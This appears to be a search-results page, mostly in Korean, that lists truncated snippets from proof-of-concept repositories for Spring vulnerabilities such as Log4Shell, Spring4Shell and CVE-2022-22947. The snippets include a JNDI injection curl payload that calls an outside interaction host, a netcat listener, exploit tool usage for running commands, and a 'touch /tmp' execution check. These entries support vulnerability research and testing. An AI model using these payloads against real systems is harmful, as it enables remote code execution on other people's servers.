9258 matches found
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection Spring Security OAuth 2.3 Open Redirection 분석 및 재현 편 Exploit Title: spring-security-oauth2의 Open Redirector Date: 2019년 6월 17일 Exploit Author: Riemann Vendor Homepage: https://spring.io/projects/spring-security-oauth Software Link:...
log4j-spring-vuln-poc
취약한 log4j Spring POC 이것은 취약한 log4j 버전을 포함하는 Maven 기반의 간단한 Spring Boot 시작 백엔드를 위한 POC입니다. CVE-2021-44228 Spring Boot는 https://start.spring.io에서 부트스트랩되었습니다. 명령어 ./mvnw spring-boot:run: 서버 시작 ./mvnw dependency:tree: 의존성 트리를 출력하고 사용 중인 log4j 버전 확인 nc -k -l 3030: bash, 임의의 수신 TCP 연결예: 취약한 Spring Boot...
log4shell-spring-framework-research
log4shell-spring-framework-research Spring 기반 애플리케이션에서 CVE-2021-44228의 영향에 대한 연구...
CVE-2023-34040
CVE-2023-34040 이 PoC는 https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040 에서 클론되었습니다. 분석 과정에 대해서는 메인 저장소의 PDF 파일을 방문하십시오...
CVE-2022-22965
Spring Boot CVE-2022-22965 Spring Boot 버전 2.6.5에서 CVE-2022-22965에 대한 Docker PoC 🚀 시작하기 1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 에서 배포 코드를 다운로드하고 압축을 풉니다. 2. docker compose up --build를 실행하여 취약한 애플리케이션을 빌드하고 시작합니다. 3. curl -H "Accept: text/html;"...
CVE-2018-1273
CVE-2018-1273 CVE-2018-1273 환경 CVE-2018-1273: Spring Data Commons에서의 RCE https://pivotal.io/security/cve-2018-1273 애플리케이션 https://github.com/spring-projects/spring-data-examples/tree/master/web/example 빌드 $ docker build -t cve-2018-1273 . 실행 $ docker run -d -p 8080:8080 cve-2018-1273 웹...
CVE-2022-22978
CVE 2022-22978: RegexRequestMatcher의 인증 우회 🥶 개요 내가 조사한 정보에 따르면, 이 취약점은 Spring Security 프레임워크의 RegexRequestMatcher 클래스와 관련이 있습니다. 구체적으로, 정규 표현식에 점.이 포함된 RegexRequestMatcher를 사용하는 애플리케이션은 \r%0a , \n%0d 문자를 사용하여 우회될 수 있으며, 이를 통해 공격자는 인증 없이 허용되지 않은 경로에 접근할 수 있습니다. Spring Security 프레임워크의 취약한 버전: 5.5.x...
cve-2022-22947
cve-2022-22947 Spring Cloud Gateway는 Spring의 API 게이트웨이입니다. 3.1.0 및 3.0.6포함 이전 버전에는 SpEL 표현식 주입 취약점이 존재하며, 공격자가 Actuator API에 접근할 수 있는 경우 이 취약점을 이용하여 임의의 명령을 실행할 수 있습니다. 사용법: ➜ ./cve-2022-22947 -h Usage of cve-2022-22947: -c string Execute command, Example: whoami default "id" -d Delete route. -r...
cve-2022-22947-spring-cloud-gateway
취약점 소개 Spring Cloud Gateway는 Spring Cloud의 새로운 프로젝트로, Spring 5.0, Spring Boot 2.0 및 Project Reactor 등의 기술을 기반으로 개발된 게이트웨이입니다. 마이크로서비스 아키텍처에 간단하고 효과적인 통합 API 라우팅 관리 방식을 제공하는 것을 목표로 합니다. 얼마 전 Spring Cloud Gateway에서 치명적인 RCE 취약점이 발견되었습니다 CVE. CVE 정보에 따르면 애플리케이션이 Spring Cloud Gateway의 Gateway Actuato...
CVE-2022-22965
CVE-2022-22965 CVE-2022-22965 EXP 일반 환경 요구 사항: 1. Spring 프레임워크를 사용하는지 여부. 사용하지 않으면 해당 취약점이 존재하지 않음 2. Spring 매개변수 바인딩을 사용하는지 여부. 사용하지 않으면 해당 취약점이 존재하지 않음 3. 미들웨어에서 사용하는 JDK 버전. 버전 번호가 9보다 작으면 해당 취약점이 존재하지 않음 4. 현재 사용 중인 미들웨어가 Tomcat인지 여부. Tomcat을 사용하지 않으면 현재 해당 취약점의 영향을 받지 않음. 5. Tomcat에서...
Spring0DayCoreExploit
Spring Core RCE - CVE-2022-22963 Spring Cloud에 이어 3월 29일, 또 다른 Spring의 중요한 취약점이 인터넷에 공개되었습니다: Spring Core RCE 유포 중인 PoC 코드: 익스플로잇이exp.py로 업로드되었습니다 공식 Spring 패치도 활발히 제작 중입니다 Spring 제작 중인 패치 링크 취약점 영향 범위: 1. JDK 버전 9 이상 2. Spring Framework 또는 파생 프레임워크 사용 버그 수정 제안 현재 Spring은 공식 패치를 출시하지 않았으므로, 임시...
cve-2022-22947
Spring Cloud Gateway Actuator API SpEL 코드 인젝션 CVE-2022-22947 빌드 $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC 라우터에 SpEL 표현식이 포함된 라우터를 추가하려면 다음 요청을 전송합니다 이 경우, 우리...
log4shell-demo
Log4ShellCVE-2021-44228에 취약한 간단한 Spring Boot 애플리케이션 기본 로깅 프레임워크를 logback에서 log4j2로 변경 애플리케이션은 'User-Agent' 헤더를 로깅하므로, curl과 interactsh-service를 사용하여 취약점을 테스트할 수 있습니다: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ app.interactsh.com에서 DNS 상호작용을 확인할 수 있습니다. Docker hub Docker hub로 이...
cve-2023-34034
cve-2023-34034 Spring Security의 CVE-2023-34034 인가 우회에 대한 데모입니다. 참조: CVE-2023-34034 Spring Security 인가 우회 on Don't Panic!...
Spring4ShellPoC
Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 그냥 익스플로잇을 가지고 놀고 있습니다. BobTheShopLifter가 한 훌륭한 작업에서 수정함, https://github.com/BobTheShoplifter/Spring4Shell-POC 그리고 TryHackMe, https://tryhackme.com/room/spring4shell 약간의 수정만 했습니다. 익스플로잇이 배포되었는지 확인할 때 몇 가지 추가 기능을 넣었습니다. 대기 시간 동안 프로그레스 바를 추가하여 작동 방식을...
spring-cloud__spring-cloud-config_CVE-2020-5410_2-1-8-RELEASE
//// このファイルを編集しないでください。生成されたファイルです。 このファイルへの手動による変更は、再生成時に失われます。 代わりに src/main/asciidoc/ ディレクトリ内のファイルを編集してください。 //// image::https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master.svg?style=svg"CircleCI", link="https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master"...
Spring_cve-2022-22980
Springcve-2022-22980 spring data mongodb 원격 코드 실행 | cve-2022-22980 poc 설명 Spring Data MongoDB 애플리케이션은 @Query 또는 @Aggregation 어노테이션이 적용된 쿼리 메서드에서 SpEL 표현식에 값 바인딩을 위한 쿼리 매개변수 플레이스홀더를 사용할 때, 입력이 검증되지 않으면 SpEL injection에 취약합니다. 동영상 PoC 최신 익스플로잇 PoC를 팔로우하세요 YouTube Twitter Facebook LinkedIn...
cve-2018-1273
CVE-2018-1273 Spring Data Commons RCE 원격 명령 실행 취약점 사용법 C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: POST /account HTTP/1.1 Host: 10.10.20.166:8080 Connection...
spring-cloud__spring-cloud-config_CVE-2020-5405_2-1-6-RELEASE
//// 이 파일을 편집하지 마십시오. 생성된 파일입니다. 이 파일을 수동으로 변경하면 다시 생성될 때 손실됩니다. 대신 src/main/asciidoc/ 디렉토리의 파일을 편집하세요. //// image::https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master.svg?style=svg"CircleCI", link="https://circleci.com/gh/spring-cloud/spring-cloud-config/tree/master"...
log4j2-exploit
Log4Shell CVE-2021-44228 개념 증명 요구 사항 Java JDK/JRE 8 이상 버전 curl exploitable 사용자 이름과 비밀번호가 있는 로그인 페이지를 제공하는 간단한 Spring Boot 애플리케이션입니다. POST로 /에 전송되면 사용자 이름을 기록합니다. 취약한 애플리케이션이 사용자 제공 입력을 기록할 필요는 없습니다. 취약한 log4j2 버전을 사용하는 액세스 로깅을 활성화하는 것만으로 충분합니다. 실행 방법: cd exploitable ../mvnw -q spring-boot:run 기본적...